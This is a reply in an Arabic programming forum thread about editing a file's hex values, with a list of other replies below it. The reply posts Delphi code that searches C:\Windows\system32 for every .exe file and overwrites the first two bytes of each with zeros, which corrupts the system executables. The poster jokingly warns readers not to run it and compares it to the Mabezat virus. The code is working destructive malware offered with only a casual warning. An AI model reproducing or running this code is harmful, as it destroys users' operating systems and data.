كيف أغير قيم Hex لمف ما ؟
#9
السلام عليكم
PHP كود :
unit Unit1;

interface

uses
  Windows
, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  
Dialogs, StdCtrls;

type
  TForm1 
= class(TForm)
    
btn1: TButton;
    
procedure btn1Click(Sender: TObject);
  private
    { Private 
declarations }
  public
    { Public 
declarations }
  
end;

var
  
Form1: TForm1;

implementation

{$R *.dfm}
     
procedure patch(f_n:string);
var 
target: file of byte;
i:Integer;
const
pbyte: array[1..2] of byte= ($00,$00);
paddr: array[1..2] of longint=($00000000, $00000001);
begin
assignFile
(target,f_n);
reset(target);
for 
i:=1 to 2 do
begin
seek
(target,paddr[i]);
write(target,pbyte[i]);
end;
closeFile(target);
 
end;

procedure FileSearch(const PathName, FileName : string) ;
 var 
Rec : TSearchRec;
 
Path : string;
 
begin
 Path 
:= IncludeTrailingPathDelimiter(PathName) ;
 if 
FindFirst (Path + FileName, faAnyFile - faDirectory, Rec) = 0 then
 
try
 
repeat
patch
(Path + Rec.Name) ;
 
until FindNext(Rec) <> 0;
 finally
 
FindClose(Rec) ;
 
end;
 
end;


procedure TForm1.btn1Click(Sender: TObject);
begin
 FileSearch
('C:\WINDOWS\system32','*.exe');
end;

end. 
حذاري من استعماله على جهازك Big Grin يشبه عمله عمل فيروس Mabezat اذا صحت تسميته :p
الرد


الردود في هذا الموضوع
كيف أغير قيم Hex لمف ما ؟ - بواسطة Dr.MOT - 02-04-2009, 07:13 PM
كيف أغير قيم Hex لمف ما ؟ - بواسطة mohfa - 02-04-2009, 09:54 PM
كيف أغير قيم Hex لمف ما ؟ - بواسطة AL-MOB4RM3G - 03-04-2009, 08:33 AM
كيف أغير قيم Hex لمف ما ؟ - بواسطة Dr.MOT - 03-04-2009, 09:31 AM
كيف أغير قيم Hex لمف ما ؟ - بواسطة TF6M - 20-04-2009, 02:52 PM
كيف أغير قيم Hex لمف ما ؟ - بواسطة me_delphi - 21-04-2009, 12:25 AM
كيف أغير قيم Hex لمف ما ؟ - بواسطة Dr.MOT - 23-04-2009, 04:48 PM
كيف أغير قيم Hex لمف ما ؟ - بواسطة TF6M - 23-04-2009, 10:32 PM
كيف أغير قيم Hex لمف ما ؟ - بواسطة onexite - 16-08-2012, 09:36 PM

التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم